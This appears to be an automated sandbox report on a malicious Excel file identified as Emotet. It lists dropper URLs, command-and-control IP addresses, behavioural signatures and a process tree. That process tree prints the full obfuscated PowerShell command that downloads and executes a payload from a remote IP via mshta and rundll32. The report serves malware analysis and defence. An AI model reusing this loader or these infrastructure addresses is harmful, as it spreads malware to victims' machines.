Analysis

  • max time kernel
    148s
  • max time network
    158s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27/01/2022, 17:10

General

  • Target
    tmpbiyglgor.xls
  • Size 155KB
  • Sample220127-vppzhagccn
  • SHA256 ce556d0dfbdf9ae6c48e0a8c8a4c96335700e7817183adf0c87ffb3667f1820a
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.15.4.22:443

  • 173.214.173.220:8080

  • 212.237.5.209:443

  • 192.254.71.210:443

  • 216.158.226.206:443

  • 162.243.175.63:443

  • 212.24.98.99:8080

  • 58.227.42.236:80

  • 45.118.115.99:8080

  • 104.251.214.46:8080

  • 185.157.82.209:8080

  • 46.55.222.11:443

  • 188.40.137.206:8080

  • 81.0.236.90:443

  • 103.75.201.2:443

  • 129.232.188.93:443

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 79.172.212.216:8080

  • 138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 28 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpbiyglgor.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:528
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3452
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:1732
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3204
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3844
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:4008
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3836
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ndbwfkehkmrxx\vleccw.apa",IYeLfghMyAUVXH
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:372
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ndbwfkehkmrxx\vleccw.apa",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1096
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1732 -s 1832
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3200

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/372-379-0x0000000004DA0000-0x0000000004DC5000-memory.dmp

        memory/528-419-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

        memory/528-131-0x00007FFF3FCD0000-0x00007FFF3FCE0000-memory.dmp

        memory/528-132-0x00007FFF3FCD0000-0x00007FFF3FCE0000-memory.dmp

        memory/528-118-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

        memory/528-122-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

        memory/528-418-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

        memory/528-417-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

        memory/528-416-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

        memory/528-121-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

        memory/528-120-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

        memory/528-119-0x00007FFF42940000-0x00007FFF42950000-memory.dmp

        memory/1096-385-0x0000000004CF0000-0x0000000004D15000-memory.dmp

        memory/1096-383-0x00000000046B0000-0x00000000046D5000-memory.dmp

        memory/3204-289-0x0000018298460000-0x0000018298482000-memory.dmp

        memory/3204-326-0x0000018280050000-0x0000018280070000-memory.dmp

        memory/3204-321-0x0000018298B20000-0x0000018298B96000-memory.dmp

        memory/3204-310-0x00000182986F0000-0x000001829872C000-memory.dmp

        memory/3204-295-0x0000018280050000-0x0000018280070000-memory.dmp

        memory/3204-294-0x0000018280050000-0x0000018280070000-memory.dmp

        memory/3836-362-0x0000000000840000-0x0000000000865000-memory.dmp

        memory/3836-365-0x0000000004740000-0x0000000004765000-memory.dmp

        memory/3836-367-0x00000000047A0000-0x00000000047C5000-memory.dmp

        memory/3836-369-0x0000000004800000-0x0000000004825000-memory.dmp

        memory/3836-358-0x0000000000240000-0x0000000000265000-memory.dmp

        memory/3836-381-0x0000000004970000-0x0000000004995000-memory.dmp

        memory/4008-355-0x0000000004F30000-0x0000000004F55000-memory.dmp